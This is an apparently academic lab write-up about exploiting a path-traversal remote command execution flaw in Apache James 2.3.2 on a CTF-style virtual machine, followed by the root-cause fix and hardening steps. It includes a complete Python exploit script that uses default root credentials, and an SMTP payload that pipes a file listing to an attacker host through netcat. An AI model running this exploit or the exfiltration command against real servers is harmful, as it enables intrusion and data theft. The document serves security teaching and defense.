Exploiting Apache James 2.3.2

Kamil Jiwa

South Seattle College

Abstract

Apache James 2.3.2 is an email server containing a vulnerability that allows an attacker to execute arbitrary commands on the machine running the server. The vulnerability arises from an insecure default configuration and a lack of input validation in the server's user creation mechanism; it allows an attacker to enqueue commands to execute when a user signs into the machine. Despite the vulnerability, a number of techniques can be employed to reduce the machine's attack surface and mitigate the risk of a compromise.

Exploiting Apache James 2.3.2

Apache James is a mail and news server and software framework written in Java. A bug in version 2.3.2 enables an attacker to execute arbitrary commands on the machine running the server. To study the vulnerability in a safe and reproducible manner, we install the vulnerable software on a virtual machine (VM), a computer that is emulated by software. We analyze the server using software tools such as netcat, nmap, and telnet and craft a program that exploits the vulnerability and retrieves data from the VM. Several techniques exist to protect a machine running the vulnerable binary, including isolating the server from privileged resources and setting limitations on users with accounts on the machine. Though each technique varies in its individual effectiveness, combining the techniques produces a resulting configuration that makes the machine very difficult to compromise.

Apache James is highly configurable and can store data files in a variety of media, including disks and databases. Apache James exposes an administration console allowing privileged users to configure and manage the server and tweak its functions. By default, the server is configured to listen for email transactions on network port 25 and administration transactions on port 4555. User data is configured to be stored on the local hard disk.

Apache James allows other software systems to communicate with it through a computer network. Programs communicating over a network select a port, a number from 1 to 65535, and ask the operating system to direct network traffic from that port to the program. As a matter of policy, the Unix operating system reserves the first 1023 ports for use by privileged programs, those with access to protected files and resources. As such, software wishing to listen on those ports must be executed with additional privileges. One way a program can gain privilege is by executing as the root user. Since Apache James listens for email transactions on port 25, a

privileged port, it must run as a privileged user like root, meaning it has access to the operating system's sensitive resources. This level of access increases the potential impact of a security breach since a vulnerability in Apache James can affect the entire operating system.

Apache James typically stores that user's data in a subdirectory relative to its installation directory, in "apps/james/var/users." By default, the server creates a new subdirectory to store incoming and outgoing email for each user. Palaczynski (2014) discovered that this directory creation mechanism is susceptible to a vulnerability, enabling an attacker to execute arbitrary commands on the mail server machine. Palaczynski found that usernames are not sufficiently validated at the time of user creation, and prepending a series of the parent-directory symbol, "../," causes the server to create a user directory outside of the installation directory. A username such as "../../../../../../../../../etc/bash_completion.d" can lead to files being placed in "/etc/bash_completion.d," a directory containing commands that execute when a user signs into the machine. By sending messages to this user, an attacker can execute commands that probe the mail server and retrieve data from it.

Method

Virtual Machine Setup

To study the vulnerability, an exploitable instance of the Apache James server must be available for to attack. A safe and convenient way to access an instance is to install it in a VM, a computer that is emulated in another software program called a hypervisor. By default, VMs are isolated from the host machine's data; compromised VMs are restricted from accessing any of the attacker's personal data. Furthermore, VM images are the medium of choice for distributing "capture-the-flag" (CTF) competitions, educational tools that challenge users to break into

insecure machines. Finally, VM tools are abundant, with Oracle and VMWare each supporting free, high quality hypervisors. VMs' safety and support make them desirable tools for our study.

Apache James Installation. We run Apache James 2.3.2 on a CentOS 7 deployment with the Bash-completion package installed. Bash-completion provides a rich set of extensions for programs to interact with the machine and is a common dependency among software programs. A local user is created with the username, "south," and password, "ugr298," and the Apache James server is downloaded, installed, and initialized (Figure 1). When the operating system boots, the server runs as the root user (Figure 2), exposes an SMTP server on port 25, and exposes an administration console on port 4555 (Figure 3).

Flag Creation. In the spirit of a CTF competition, the phrase "Congratulations" is encoded in base64 and stored in a file "/opt/flag.txt" (Figure 4).

Virtual Machine Export. To prepare the VM for export, we clear the command history and remove temporary files, such as "apache-james-2.3.2.tar.gz," from the filesystem (Figure 5). The Open Virtualization Format (OVF) specification is a convenient output format for the VM since VirtualBox and VMWare products support import and export of images created in this format. VirtualBox users may use VBoxManage (Figure 6) and VMWare users may use OVFTool (Figure 7) to manage creation and use of OVF images. The result is a redistributable VM image that can be used to study the vulnerability.

Results

Virtual Machine Exploitation

To exploit the Apache James server and retrieve the flag, an attacker must gain access to the administration console, create a user that stores files in "/etc/bash_completion.d," and

enqueue commands that scan the system and retrieve the flag. The command output is transmitted to the attacker once an attacker signs in.

Scan Open Ports. Scanning the VM with nmap reveals that ports 25 and 4555 are open (Figure 8). Port 25 is registered as the default SMTP port, giving us a hint that an email server may be running on this machine. A custom program or a telnet session can establish a connection to the machine to learn more about the services running on those ports. Fortunately for attackers, Apache James prints a status message identifying itself and its version number when new connections are made. Connections to port 25 produce the message, "JAMES SMTP Server 2.3.2" (Figure 9), and connections to port 4555 produce the message, "JAMES Remote Administration Tool 2.3.2" (Figure 10). These messages tell us the server is vulnerable and its administration console is exposed.

Create an Exploitable User. By default, the Apache James administrator has the same username and password, "root." Using these credentials gives us access to the administration console, where we can create new users with the "adduser" command (Figure 11). The format of the command is "adduser <username> <password>," where "<username>" represents the username to be created, and "<password>" represents the user's password. To gain the ability to put files in "/etc/bash_completion.d," we create a mail user with the username "../../../../../../../../etc/bash_completion.d" with the command "adduser ../../../../../../../../etc/bash_completion.d exploit" (Figure 12). To verify the user's data was created, sign in to the VM and list the contents of "/etc/bash_completion.d."

Scan the Filesystem. To capture the flag, we first issue commands to scan the machine's filesystem and output the contents of the flag:

1. "find / -type f;" and,

2. “cat /opt/flag.txt.”

The first command, “find / -type f,” produces a list of all files on the machine. The file list tells us the location of the flag, “/opt/flag.txt.” The second command, “cat /opt/flag.txt,” outputs the contents of the flag. In practice, an attacker will need to wait for a user to sign into the machine before seeing the results from each command. With a VM, we have the liberty of signing in on demand.

Various techniques can be used to capture the output from these commands, including uploading the contents to remote storage, transmitting them via mail, or streaming them to a remote server. A simple technique we use exposes a TCP server on the attacker’s machine with netcat; commands executed on the mail server are streamed to the attacker’s TCP server (Figure 13). Commands will have the form “find / -type f | nc attacker <port>,” where “<port>” represents the port on which the TCP server is listening for requests on the attacker’s machine (Figure 14). The portion of the command invoking netcat streams output to the attacker.

After an attack, when a user signs into the mail server, the commands in “/etc/bash_completion.d” execute and transmit the flag contents, “Q29uZ3JhdHVsYXRpb25zCg==,” to the attacker’s TCP server. An inspection indicates this text is encoded in base64; decoding it yields the message, “Congratulations” (Figure 15).

Discussion

Root Cause

An update was released to address this vulnerability, Apache James 2.3.2.1. Comparing the source code between 2.3.2 and 2.3.2.1 shows the bug stems from the file, “src/java/org/apache/james/userrepository/UsersFileRepository.java.” The fix adds a validation step that checks for partial RFC 3696 conformance, ensuring that characters such as “.” and “/”

cannot be used in a username (Figure 16). The fix highlights the importance of input validation and its consequences when it is forgotten. It reminds us that while maintaining up-to-date software is important, critical issues may remain unnoticed for many years.

Defense

The VM can be protected with a combination of techniques that isolate the server from system resources and restrict access to the machine. When used together, they can provide more than adequate protection despite the presence of a software bug.

Change the Root Password. The root password can be set through the administration console (Figure 17). Changing the password makes an attack more time-consuming by increasing the effort required to gain access.

Restrict Access to the Administration Console. To limit the attack surface, the administration console should only be accessible from the local machine or from a whitelist of IP ranges, such as those on an internal network (Figure 18). These restrictions are effective because they require the attacker to devise an alternate means of accessing the machine.

Uninstall Bash-Completion. The vulnerability cannot be exploited as described without the presence of Bash-completion on the mail server machine. Though there are other executable paths on the system, e.g. "/etc/rc.d," removing Bash-completion decreases an attacker's options and increases the effort required to exploit the machine (Figure 19).

Run the Server as an Unprivileged User. Running the server as an unprivileged user is the most effective of the techniques described here. The default configuration lends the server to run as the root user due to the need to bind to port 25, a privileged port. Choosing a port above 1023 removes this restriction and allows us to run the server as an unprivileged user (Figures 20 and 21) and on an unprivileged port (Figure 22). To continue serving SMTP requests on port 25,

the firewall can forward requests to the new, unprivileged port (Figure 23). In this mode, the server is limited in its use of system resources. An attacker trying to create an exploitable user will fail because the server can no longer alter the contents of "/etc/bash_completion.d."

Conclusion

Apache James 2.3.2 is an excellent and practical example of a web service with a security vulnerability that can result in data theft. An insecure default configuration and missing input validation act together to enable attackers to execute arbitrary commands on the mail server. Despite the occurrence of bugs, system administrators can protect their machines by employing a number of techniques that restrict the server from important system resources and limit the ways an attacker can interact with the server. The Apache James 2.3.2 vulnerability and its impact underscores the importance of using a variety of development and deployment strategies to reduce the likelihood of a successful attack.

References

The Apache Software Foundation. (2009, September 2). Apache James (Version 2.3.2) [Source code]. Available from https://dist.apache.org/repos/dist/release/james/server/apache-james-2.3.2-src.zip.

The Apache Software Foundation. (2015, September 30). Apache James (Version 2.3.2.1) [Source code]. Available from https://dist.apache.org/repos/dist/release/james/server/james-2.3.2.1-src.zip.

Palaczynski, Jakub. (2014, December 10). Apache James Server 2.3.2 - Remote Command Execution. Exploit Database. Retrieved from https://www.exploit-db.com/exploits/35513/.

Appendix A

Exploit.py

Exploit.py is a Python program that automates the user creation and command queuing exploits discussed in the method and results.

```
"""An exploit for Apache James 2.3.2 that executes remote commands.

This script creates a new user and enqueues a payload to be executed the next
time a user logs in to the machine. The vulnerability is documented in
CVE-2015-7611.

For more details, see http://www.securityfocus.com/bid/76933 and
https://www.exploit-db.com/exploits/35513/.
"""

import gflags
import logging
import socket
import sys

gflags.DEFINE_integer('admin_port', 4555, 'The administration tool port.')
gflags.DEFINE_integer('smtp_port', 25, 'The SMTP server port.')
gflags.DEFINE_string('admin_password', 'root', 'The administrator password.')
gflags.DEFINE_string('admin_user', 'root', 'The administrator username.')
gflags.DEFINE_string('command', '', 'The command to be executed.')
gflags.DEFINE_string('exploit_password', 'exploit',
                     'The exploited user\'s password.')
gflags.DEFINE_string('exploit_user', '../../../../../../../../etc/bash_completion.d',
                     'The exploited user\'s username.')
gflags.DEFINE_string('host', '127.0.0.1', 'The Apache James server host.')
gflags.DEFINE_string('loglevel', 'INFO', 'The log level.')
gflags.DEFINE_string('sender_email', 'user@domain', 'The sender\'s email address.')

FLAGS = gflags.FLAGS

# The number of bytes to receive from the admin and SMTP servers after each
# command.
RECV_BUFSIZE = 1024


def CreateNewSmtpUser(connection, user, password):
  """Creates a new SMTP user via the administration server.

  Args:
    connection: An open socket to the administration server.
    user: The user's username.
    password: The user's password.

  """
  payload = ['adduser %s %s' % (user, password), 'quit']
  SendPayload(connection, payload)
```

```
    logging.info('Created new user %s/%s' % (user, password))


def ConnectToAdminServer(host, port, user, password):
    """Connects to the administration server.

    Args:
      host: The host address of the machine.
      port: The port number of the administration server.
      user: The administration server username.
      password: The administration server password.

    Returns:
      An open socket to the administration server.

    """
    payload = [user, password]
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.recv(RECV_BUFSIZE)
    SendPayload(s, payload)
    logging.info('Connected to the admin console as %s/%s.' % (user, password))
    return s


def ConnectToSmtpServer(host, port):
    """Connects to the SMTP server.

    Args:
      host: The host address of the machine.
      port: The port number of the administration server.

    Returns:
      An open socket to the SMTP server.

    """
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.recv(RECV_BUFSIZE)
    logging.info('Connected to the SMTP server.')
    return s


def SendPayload(connection, payload):
    """Sends a payload over the socket.

    Args:
      connection: An open socket.
      payload: An array of strings to be sent over the socket.

    """
    for line in payload:
        connection.send('%s\n' % line)
        connection.recv(RECV_BUFSIZE)
```

```
def SendCommand(connection, sender, recipient, command):
  """Sends a command as a mail message to the recipient.

  Args:
    connection: An open connection to the SMTP server.
    host: The mail server host.
    port: The mail server port.
    sender: The sender's email address.
    recipient: The recipient's email address.
    command: The command to be executed.
    output_host: The output server host.
    output_port: The output server port.

  """
  msg = ('From: %s\n'
         '\n'
         '\"
         '\n'
         '$(%s)\r\n'
         '.' % (sender, command))
  payload = ['EHLO %s\r' % sender,
             'MAIL FROM: <\'%s>\r' % sender,
             'RCPT TO: <%s>\r' % recipient,
             'DATA\r',
             '%s\r' % msg,
             'QUIT\r']
  SendPayload(connection, payload)
  logging.info('Sent command %s' % command)


def Main(argv):
  try:
    argv = FLAGS(argv)
  except gflags.FlagsError, e:
    print '%s\nUsage: %s ARGS\n%s' % (e, sys.argv[0], FLAGS)
    sys.exit(-1)

  logging.basicConfig(level=FLAGS.loglevel)

  # Create a vulnerable user.
  connection = ConnectToAdminServer(
    FLAGS.host, FLAGS.admin_port, FLAGS.admin_user, FLAGS.admin_password)
  CreateNewSmtpUser(connection, FLAGS.exploit_user, FLAGS.exploit_password)
  connection.close()

  # Send a command to the server.
  connection = ConnectToSmtpServer(FLAGS.host, FLAGS.smtp_port)
  SendCommand(
    connection, FLAGS.sender_email, FLAGS.exploit_user, FLAGS.command)
  connection.close()


if __name__ == '__main__':
  Main(sys.argv)
```

```
mail-server:~$ sudo yum install bash-completion java-1.8.0-openjdk nmap-ncat
mail-server:~$ curl -O https://archive.apache.org/dist/james/server/apache-james-2.3.2.tar.gz
mail-server:~$ tar -xzf apache-james-2.3.2.tar.gz
mail-server:~$ sudo cp -r james-2.3.2 /opt
mail-server:~$ sudo chmod +x /opt/james-2.3.2/bin/*.sh
mail-server:~$ sudo firewall-cmd --zone=public --add-port=25/tcp --permanent
mail-server:~$ sudo firewall-cmd --zone=public --add-port=4555/tcp –permanent
```

Figure 1. Installing Apache James on CentOS 7. Commands run in a terminal to install Apache James and configure the firewall.

```
[Unit]
Description=Apache James Server 2.3.2

[Service]
Environment=JAVA_HOME=/usr/lib/jvm/jre
ExecStart=/opt/james-2.3.2/bin/run.sh

[Install]
WantedBy=multi-user.target
```

Figure 2. Contents of "/lib/systemd/system/james.service." The file defines a systemd service and contains directives instructing systemd about how to execute the server.

```
mail-server:~$ sudo systemctl enable james
mail-server:~$ sudo systemctl disable postfix
```

Figure 3. Instructing systemd to run Apache James at startup. Systemctl provides us with a command-line tool to configure systemd.

```
mail-server:~$ echo Congratulations | base64 | sudo dd of=/opt/flag.txt
```

Figure 4. Creating a flag. The phrase, “Congratulations,” is encoded in base64 and saved in the file “/opt/flag.txt”.

```
mail-server:~$ rm -r apache-james-2.3.2.tar.gz james-2.3.2
mail-server:~$ sudo yum clean all
mail-server:~$ rm .bash_history
mail-server:~$ history -c
```

Figure 5. Preparing the VM for export. Temporary files and command history are removed to provide the challenger with a clean environment.

```
hypervisor:~$ VBoxManage export apache-james-ctf -o apache-james-ctf.ova
```

Figure 6. Exporting a VirtualBox image with VBoxManage. VMBoxManage converts a VirtualBox image into an Open Virtualization Format image.

```
hypervisor:~$ ovftool apache-james-ctf.vmx apache-james-ctf.ova
```

Figure 7. Exporting a VMWare image with OVFTool. OVFTool converts a VMWare image into an Open Virtualization Format file.

```
attacker:~$ nmap -p- mail-server

Starting Nmap 7.12 ( https://nmap.org ) at 2016-05-29 20:34 PDT
Nmap scan report for mail-server
Host is up (0.018s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE
25/tcp   open  smtp
4555/tcp open  rsip

Nmap done: 1 IP address (1 host up) scanned in 5.17 seconds
```

Figure 8. Scanning for open ports with nmap. The scan reveals port 25 and 4555 are accepting connections.

```
attacker:~$ telnet mail-server 25
Trying mail-server...
Connected to mail-server.
Escape character is '^]'.
220 mail-server SMTP Server (JAMES SMTP Server 2.3.2) ready Sun, 29 May 2016 23:40:41 -0400 (EDT)
```

Figure 9. Establishing a telnet session to the Apache James SMTP interface. The server identifies itself as, “JAMES SMTP SERVER 2.3.2.”

```
attacker:~$ telnet mail-server 4555
Trying mail-server...
Connected to mail-server.
Escape character is '^]'.
JAMES Remote Administration Tool 2.3.2
Please enter your login and password
Login id:
```

Figure 10. Establishing a telnet session to the Apache James remote administration interface.

The server identifies itself as “JAMES Remote Administration Tool 2.3.2.”

```
JAMES Remote Administration Tool 2.3.2
Please enter your login and password
Login id:
root
Password:
root
Welcome root. HELP for a list of commands
```

Figure 11. Gaining access to the administration console. Apache James configures a default administrator with the same username and password, “root.”

```
JAMES Remote Administration Tool 2.3.2
Please enter your login and password
Login id:
root
Password:
root
Welcome root. HELP for a list of commands
adduser ../../../../../../../../etc/bash_completion.d password
User ../../../../../../../../etc/bash_completion.d added
```

Figure 12. Creating an exploitable user. The user's data directory will be in "/etc/bash_completion.d."

```
attacker:~$ nc -kl 3333 -o out
```

Figure 13. Using netcat to listen for incoming TCP connections. Netcat listens on port 3333 and appends received data to the file “out.”

```
MAIL FROM: <'you@domain.com>
RCPT TO: ../../../../../../../../etc/bash_completion.d
DATA
From: you@domain.com
'
find / -type f | nc attacker 3333
.
QUIT
```

Figure 14. An attack payload containing a command that executes when a user signs in. The command produces a list of all files on the machine and sends them to the attacker's machine over TCP port 3333.

```
attacker:~$ base64 -d flag.txt
Congratulations
```

Figure 15. Decoding the flag. The content is encoded in base64.

```
/**
 * Validate the passed <code>User</code>.
 *
 * <p>
 * Enforces partial RFC 3696 compliance and a file system 'jail' such that
 * only user names that will result in a file that is a child of the
 * configured directory for the repository pass validation.
 *
 * @see org.apache.james.userrepository.UsersFileRepositoryTest
 *
 * @param user
 * @throws UsersFileRepositoryException
 */
protected void validateUser(final User user)
        throws UsersFileRepositoryException {

    // "." is never allowed as a starting character. It is neither RFC 3696
    // compliant or safe
    if (user.getUserName().startsWith(".")) {
        UsersFileRepositoryException ex = new UsersFileRepositoryException(
                "User name \"" + user.getUserName()
                        + "\" starts with \".\"");
        getLogger().error("User name validation failure", ex);
        throw ex;
    }

    // "." is never allowed as an ending character. It is neither RFC 3696
    // compliant or safe
    if (user.getUserName().endsWith(".")) {
        UsersFileRepositoryException ex = new UsersFileRepositoryException(
                "User name \"" + user.getUserName() + "\" ends with \".\"");
        getLogger().error("User name validation failure", ex);
        throw ex;
    }

    // A sequence of two or more "." is never allowed. It is neither RFC
    // 3696 compliant or safe
    if (user.getUserName().contains("..")) {
        UsersFileRepositoryException ex = new UsersFileRepositoryException(
                "User name \"" + user.getUserName() + "\" contains \"..\"");
        getLogger().error("User name validation failure", ex);
        throw ex;
    }

    // Absolute path conversion discards the trailing file separator
    // so "X" and "X/" resolve to the same path potentially resulting in
    // conflicts
    if (user.getUserName().endsWith(File.separator)) {
        UsersFileRepositoryException ex = new UsersFileRepositoryException(
                "User name \"" + user.getUserName()
                        + "\" ends with a file name separator");
        getLogger().error("User name validation failure", ex);
        throw ex;
    }

    // Canonical paths derived from the user name must be children
```

```
    // of the configured destination
    try {
        File targetCanonicalFile = new File(destinationCanonicalFile,
                user.getUserName()).getCanonicalFile();
        boolean isChild = false;
        File targetParentCanonicalFile = targetCanonicalFile
                .getParentFile().getCanonicalFile();
        while (!isChild && null != targetParentCanonicalFile) {
            isChild = destinationCanonicalFile
                    .equals(targetParentCanonicalFile);
            targetParentCanonicalFile = targetParentCanonicalFile
                    .getParentFile().getCanonicalFile();
        }
        if (!isChild) {
            UsersFileRepositoryException ex = new UsersFileRepositoryException(
                    "The canonical path \""
                            + targetCanonicalFile
                            + "\" for user name \""
                            + user.getUserName()
                            + "\" is invalid. The resultant path is not a child of \""
                            + destinationCanonicalFile + "\"");
            getLogger().error("User name validation failure", ex);
            throw ex;
        } else if (getLogger().isDebugEnabled()) {
            getLogger()
                    .debug("The canonical path \""
                            + targetCanonicalFile
                            + "\" for user name \""
                            + user.getUserName()
                            + "\" is valid. The resultant path is a child of \""
                            + destinationCanonicalFile + "\"");
        }
    } catch (IOException e) {
        throw new UsersFileRepositoryException(e);
    }
}
```

Figure 16. Input validation added to "src/java/org/apache/james/userrepository/UsersFileRepository.java." The validation checks for partial conformance to RFC 3696 and restricts the use of characters such as "." and "/" from use in usernames.

```
mail-server:~$ telnet localhost 4555
Connected to 10.32.1.116.
Escape character is '^]'.
JAMES Remote Administration Tool 2.3.2
Please enter your login and password
Login id:
root
Password:
root
Welcome root. HELP for a list of commands
setpassword root thisisthenewrootpassword
```

Figure 17. Changing the Apache James root password. Changing the password from the default causes the attacker more effort to gain access to the administration console.

```
mail-server:~$ sudo firewall-cmd --zone=public --remove-port=4555/tcp --permanent
```

Figure 18. Restricting access to the administration console. The firewall is configured to block remote connections to port 4555.

```
mail-server:~$ sudo yum remove bash-completion
```

Figure 19. Removing the Bash-completion package. The package manager is invoked to uninstall the package.

```
mail-server:~$ sudo useradd -m james
mail-server:~$ sudo chown -R james:james /opt/james-2.3.2/{apps,logs,work}
```

Figure 20. Adding an unprivileged user. The “james” user will be used by systemd to execute the binary.

```
[Unit]
Description=Apache James 2.3.2

[Service]
Environment=JAVA_HOME=/usr/lib/jvm/jre
ExecStart=/opt/james-2.3.2/bin/run.sh
User=james

[Install]
WantedBy=multi-user.target
```

Figure 21. Changing the user used to run Apache James. Systemd will execute the server as the user "james" instead of as root.

```
<nntpserver enabled="true">
  <port>3119</port>
</nntpserver>

<pop3server enabled="true">
  <port>3110</port>
</pop3server>

<smtpserver enabled="true">
  <port>3325</port>
</smtpserver>
```

Figure 22. Changing the port on which the server listens for connections. Ports above 1023 do not require users with root privileges,

```
mail-server:~$ sudo firewall-cmd --zone=public --remove-port=25/tcp --permanent
mail-server:~$ sudo firewall-cmd --zone=public --add-masquerade --permanent
mail-server:~$ sudo firewall-cmd \
   --zone=public \
   --add-forward-port=port=25:proto=tcp:toport=3325 \
   --permanent
```

Figure 23. Forwarding SMTP requests to the Apache James server. The firewall forwards requests from port 25 to port 3325, where the server is listening.